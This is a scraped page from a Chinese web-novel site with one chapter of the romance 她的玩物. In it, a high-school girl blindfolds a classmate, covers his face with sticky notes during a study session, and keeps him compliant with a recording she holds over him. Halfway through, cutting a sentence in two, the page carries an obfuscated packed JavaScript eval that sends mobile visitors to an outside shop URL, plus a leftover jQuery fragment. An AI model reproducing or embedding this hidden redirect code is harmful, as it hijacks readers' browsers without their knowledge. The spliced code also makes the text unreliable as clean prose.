文趣网 > 都市小说 > 她的玩物 > 23. 群鸟飞离我身
    祝清嘉不解释,只是问:“你戴吗?”她放轻声音,诱哄宠物般的语气:“我特意给你买的,很贵,真丝的呢。”

    “我……不戴。”

    他一个男人,有什么好害羞的,才不要戴女生的东西。许问硬气地想。

    “好吧。”祝清嘉略微遗憾,但是并没有强求,开始介绍规则:“把这些便利贴贴在你身上,我做对一题,就撕下一张,直到全部做完,游戏就结束。”

    听起来倒是很简单,但是——

    “贴在,身上?”许问有些迟疑,也不理解为什么要这样。

    祝清嘉没有解释,“没问题的话,就开始了哦。”听起来彬彬有礼得不像她,却也没有给他选择的余地。

    祝清嘉忽然靠近他,许问瞳孔猛缩,紧贴着椅背,正要推开,却见她只是拿起他的安全带扣上。咔哒一声,像给他下了紧箍咒。

    许问疑问地看着她,祝清嘉撕下一张贴纸,首先落在他的额头。

    他僵硬地坐在那,安全带束缚身前,像个玩偶般任她处置,说不清是抵触还是期待。

    便贴纸的边角微微翘起,划着他的眉宇,随着他的呼吸颤动。

    随后是眉角脆弱的太阳穴,顺直高挺的鼻梁,还有——苦苦紧绷的唇。

    “抿这么紧干嘛,松开。”祝清嘉命令。

    许问有些抗拒,不想粘上胶,但还是慢慢舒展嘴唇,随即便感觉到柔软带着薄茧的指腹在他唇上揉了揉,贴上一片便利贴。

    他一怔,下意识抬手,一把攥住她的手腕。

    “不准动,我让你动了吗?”和手上的温柔不同,祝清嘉声音放冷,带着上位的威严和强硬。

    几缕清幽的月光从她身后的车窗照进来,隐隐有一丝残酷的意味。

    她不抽手或制止,只等他自己放开,像一种驯服。

    没道理的霸道,可许问现在根本无法思考,只是本能地顺从,缓缓垂下了手。

    平日冷淡疏离的轮廓,此刻被樱粉色便贴纸交叠贴满,只剩一双黑黢黢的眼睛望着她。

    祝清嘉看着忍不住笑了,“你怎么选这种颜色,像女生一样。”

    什么叫像女生,这本来就是给她选的好吗,他怎么知道会被她贴到自己脸上!

    他终于明白那句“准备餐具”的意思了。

    许问紧咬着牙,一个字都说不出来。

    “你现在的脸色比便利贴还红。”祝清嘉拨弄贴纸,手指划过他的脸颊,轻佻地拍了两下,发出清脆声响,纸张窸窣。

    “好像熟了一样,很热吗?”她故意问。

    许问也觉得自己要熟了。车内开着冷气,可他还是感觉被烈焰焚身,血管里的鲜血都要煮沸,比白天在炎日下高负荷运动还要难熬。

    他恍惚间想起她运动会三千米时,向他奔来的模样。

    理智也在蒸发。

    祝清嘉毫不留情地又撕下一张贴纸,贴在他锋利的喉结。

    像个开关,一按上去,许问就控制不住地咽了下喉咙,发出极脆弱的咽声。

    祝清嘉觉得新奇,她也是第一次接触异性的第二性征,研究似的又戳了几下。

    “不要了……”许问握住她的手,艰难开口。第一次这样垂下头颅,是落败的姿态

    祝清嘉感觉到指尖所触的喉结轻振,溢出低哑声息。

    “你要认输吗?”她眨了眨眼。

    认输……许问缄默不语。

    他也不想认输。

    “原来是想耍赖啊。”她轻笑。

    许问不说话,也不敢看她,只是握着她的手。她指节劲瘦有力,带着薄茧,却又有女生独有的纤细柔韧。

    僵持间,许问的防线一点点溃散。

    他总是拗不过她,这种感觉真让人挫败又懊恼。

    他正要放下手,却听见祝清嘉轻叹了一声:“好吧,不过,把这个戴上。”

    她拿起发带,在手上绕了几圈抻直对着他,像个下流的暴徒。

    许问沉默地看着她,觉得现在没有什么是不能答应她的。

    于是凉薄丝滑的布料轻轻覆上他眉睫。

    这是刚刚一直缠在她手上的发带,还留有余温。

    可惜是绑在眼睛上,闻不到上面的味道。

    在他脑后系结时,祝清嘉猛地用力。

    猝不及防,许问被勒得闷哼一声,心脏刺激得狂跳,为这前所未有的感触震颤。

    本就模糊不清的视觉彻底被她没收。

    车厢隔音良好,安静得如同只剩下他们两个人的世界末日。

    如果祝清嘉不发出声音,许问就一个人绝望地陷在枯寂的泥沼里。

    她现在就是他唯一的、全部的指引。

    许问端坐着,却觉灵魂匍匐欲坠。

    寂静中,他不安地想找寻她的气息。

    一只手轻轻落在发上,安抚宠物一般。微凉的食指从侧边划过他耳廓,沿着下颌线,逗弄地挑起他的下巴。

    “准备好了吗?”祝清嘉轻笑,魔鬼般地低声喃喃:“我要开动了哦。”

    她借着阅读灯的光亮打开错题本,找到对应的题号,念了遍题目。

    被剥夺视觉,许问只能全身心投入地聆听她的声音。

    她音色本就好听,调笑的,恶劣的,危险的,矫揉造作的……还有如此刻这般温柔低沉,在安静的车厢里显得格外亲密,有一种安抚人心的力量。

    “这个很简单呢。”

    第一道错题总是记忆犹新的,祝清嘉边写边说出解题步骤。

    许问木然坐在那。

    明明这才是他们见面的目的,明明十分钟前他还希望她少玩花样,安心学习。

    可是此时此刻,当她真的这么一本正经解题了,许问却无法控制地觉得……枯燥乏味。

    祝清嘉不知什么时候安静了下来,他越发心神不定。

    忽然,他敏锐地听到皮椅微响,是她直起身子,向他靠近。

    热度和气息停留在额头前,许问不自觉屏住呼吸,如同聆听神的旨意。

    微凉的双手捧着他脸侧,额上掠过一个温软的触感。许问如同中了魔咒,僵硬在原位许久,才不敢置信地意识到发生了什么。

    她用嘴,把那张贴纸抿了下来。

    祝清嘉接着若无其事地继续念第二题,好像刚才什么都没做过一样。

    许问大脑仍然空白停转,一个字都听不进去。

    他的呼吸越来越急促,却被唇上的贴

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541135|202289||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    纸封着不得开口。

    脸上的贴纸在一张张减少,逐渐露出他庄严坚毅,宛如神祇雕塑的轮廓。

    而她就是连神也敢染指的魑魅。

    只有烧红的耳廓泄露了他亦只是个凡人。

    祝清嘉忍不住抬起手,指尖隔着蒙在他眼上的缎面发带,描摹峻峭深邃的眉宇。如同幼童端详自己第一个、也是唯一一个、最心爱的玩具。

    黑色丝质衬衫包裹着少年健硕的身躯,微微颤抖。他如同一个缄默而高大的石膏像剪影,融入黑暗中,只有脸上点点湿迹,反射着荡漾的月光。

    怎么会有这样的人呢,明明都被欺负成这样了,忍耐到极致,还只是安静地坐在这,任她胡作非为。

    许问感受着她的触碰,在黑暗寂静的世界里带来一线生机。又有些痒,如同一场温柔而缓慢的凌迟。

    他克制住想要摘下眼罩的冲动,忍得快疯了。

    最后只剩下嘴唇上还有一张贴纸。

    即使蒙着丝带,许问也不禁紧闭双眼。睫毛颤动着刮蹭着发带,如蝴蝶破茧的瞬间,对未知的外界,隐秘地渴望。

    一声黏糊的轻响,祝清嘉衔住贴纸垂下的尾端,擦过他的下颌,扯了下来。

    没有吻。

    什么都没有。

    许问不知道自己在期待什么,只觉得整个世界瞬间离他远去。

    他后知后觉地意识到,自己已经无可救药。

    他为什么会坐在这,为什么会乖乖任她用这该死的发带蒙住双眼,为什么……会莫名地期待着。

    然后一次次被她捧起又落空。

    “好了。”祝清嘉合上本子,解开他眼上的束缚。

    乍然感受到光亮,像是从一场极为荒诞虚幻的梦里惊醒。

    许问没有给自己适应的余地,不顾刺痛地睁开眼,第一时间去看她的神色。

    月光依旧,勾勒着她的侧脸轮廓,如水墨般浅淡的工笔丹青,照不清神色。

    祝清嘉眼中没什么情绪,清醒冷静,甚至比平时还冷淡几分,像黑海上的浮冰,危机暗伏。

    仿佛什么都没发生过,一切只是他的臆想。

    刚才,她就是用这种眼神,这样置身事外地看着他一个人沉溺失态吗?

    她不喜欢他。

    许问再次意识到这个事实。

    却总是对他做这种过分的事。

    全身的血骤然冷却,极致燃烧后,只剩下冰冷的余烬。

    祝清嘉把散乱的贴纸拾起来,一把塞进书包。然后又恢复平时那种漫不经心的笑,看着他说:“对了,我是不是还没说过什么时候会把那个录音删掉。”

    许问一怔,几乎都要忘了这回事。

    她从未提过要他做到什么程度,他也没有问,于是就好像默认了,她随叫,他随到。

    但是今天,她竟然说了。

    “陪我玩到毕业,就一笔勾销。”

    她用“玩”这个字眼。

    仿佛在提醒他,她只是在玩。

    许问不知道是不是因为他拒绝她继续往下贴,让她不高兴了。

    他垂眼,声音冷涩:“好。”

    游戏似乎还在继续,他无法再多说一个字,否则就会输得彻底。